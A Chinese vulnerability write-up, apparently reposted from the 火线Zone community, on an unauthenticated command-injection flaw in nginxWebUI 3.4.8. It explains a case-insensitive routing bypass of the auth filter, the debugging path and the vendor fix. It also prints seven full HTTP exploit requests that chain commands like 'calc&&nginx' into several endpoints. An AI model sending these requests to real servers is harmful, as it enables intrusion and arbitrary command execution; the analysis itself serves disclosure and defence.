01
漏洞简介
之前对 nginxWebUI 进行过搭建和审计,但是当时仅仅关注到了后台的一些命令执行漏洞,最近爆出了未授权远程代码执行,再一次进行搭建环境和分析。
02
环境搭建
https://github.com/cym1102/nginxWebUI/releases/download/3.4.8/nginxWebUI-3.4.8.jar
java -jar -Dfile.encoding=UTF-8 D:/home/nginxWebUI/nginxWebUI-3.4.8.jar --server.port=8080 --project.home=D:/home/nginxWebUI/
03
漏洞复现
我们利用网上公开的payload 进行测试
http://127.0.0.1:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx
04
漏洞分析
Solon 路由器对 url 的匹配默认是 “忽略大小写” 的
05
调试分析
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar -Dfile.encoding=UTF-8 D:/home/nginxWebUI/nginxWebUI-3.4.8.jar --server.port=8080 --project.home=D:/home/nginxWebUI/
com.cym.config.AppFilter#doFilter
传入的路由与设置的匹配条件均不满足,继续进行匹配
org.noear.solon.core.route.RoutingTableDefault#matchOne
在 solon 中将传入的路径与系统中路径依次进行匹配比较,因为大小写的不敏感,所以会匹配成功
com.cym.controller.adminPage.ConfController#runCmd
当到达函数 runCmd 时 cmd 参数可控,进行了一部分校验和过滤 只有cmd 中存在字符串 nginx 才可以继续执行,利用 && 来实现命令的拼接
cn.hutool.core.util.RuntimeUtil#exec(String…)
06
漏洞修复
我们看到对漏洞针对性的修复操作是,将路由全部转换为小写再进行匹配校验
感觉没有官方提供的修复方式更简便些
结合目前未授权的情况,以及之前分析到的后台 RCE ,在这里做一个汇总,并进行一个比较简单的分析
「命令执行一」
GET /AdminPage/conf/runCmd?cmd=calc%26%26nginx HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
com.cym.controller.adminPage.ConfController#runCmd
当到达函数 runCmd 时 cmd 参数可控,进行了一部分校验和过滤 只有cmd 中存在字符串 nginx 才可以继续执行,利用 && 来实现命令的拼接
「命令执行二」
POST /AdminPage/remote/cmdOver HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
remoteId=local&cmd=start calc%26%26nginx&interval=1
com.cym.controller.adminPage.RemoteController#cmdOver
当满足传入的参数所对应的值时,最终会调用 com.cym.controller.adminPage.ConfController#runCmd
com.cym.controller.adminPage.ConfController#runCmd
当到达函数 runCmd 时 cmd 参数可控,进行了一部分校验和过滤 只有cmd 中存在字符串 nginx 才可以继续执行,利用 && 来实现命令的拼接
「命令执行三」
POST /Api/nginx/runNginxCmd HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
cmd=calc%26%26nginx
com.cym.controller.api.NginxApiController#runNginxCmd
com.cym.controller.adminPage.ConfController#runCmd
当到达函数 runCmd 时 cmd 参数可控,进行了一部分校验和过滤 只有cmd 中存在字符串 nginx 才可以继续执行,利用 && 来实现命令的拼接
「命令执行四」
GET /AdminPage/conf/reload?nginxExe=calc%20%7C HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
com.cym.controller.adminPage.ConfController#reload
「命令执行五」
POST /AdminPage/conf/check HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
nginxExe=calc%20%7C&json={"nginxContent":"","subContent":"[]","subName":"[]"}&nginxPath=/1/
com.cym.controller.adminPage.ConfController#check
要满足很多条件才可以触发
「命令执行六」
POST /AdminPage/conf/saveCmd HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
nginxExe=calc%20%7C&nginxPath=/&nginxDir=/
com.cym.controller.adminPage.ConfController#saveCmd
将参数设置为配置信息
GET /AdminPage/conf/checkBase HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
从配置信息中读取并加载,执行命令
com.cym.controller.adminPage.ConfController#checkBase
「命令执行七」
POST /AdminPage/conf/saveCmd HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
nginxExe=calc%20%7C&nginxPath=/&nginxDir=/
GET /Api/nginx/check HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/adminPage/remote
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
往期推荐
火线Zone是火线安全平台运营的安全社区,拥有超过20,000名可信白帽安全专家,内容涵盖渗透测试、红蓝对抗、漏洞分析、代码审计、漏洞复现等热门主题,旨在研究讨论实战攻防技术,助力社区安全专家技术成长,2年内已贡献1300+原创攻防内容,提交了100,000+原创安全漏洞。
欢迎具备分享和探索精神的你加入火线Zone社区,一起分享技术干货,共建一个有技术氛围的优质安全社区!
原文始发于微信公众号(火线Zone):nginxWebUI runCmd 未授权远程代码执行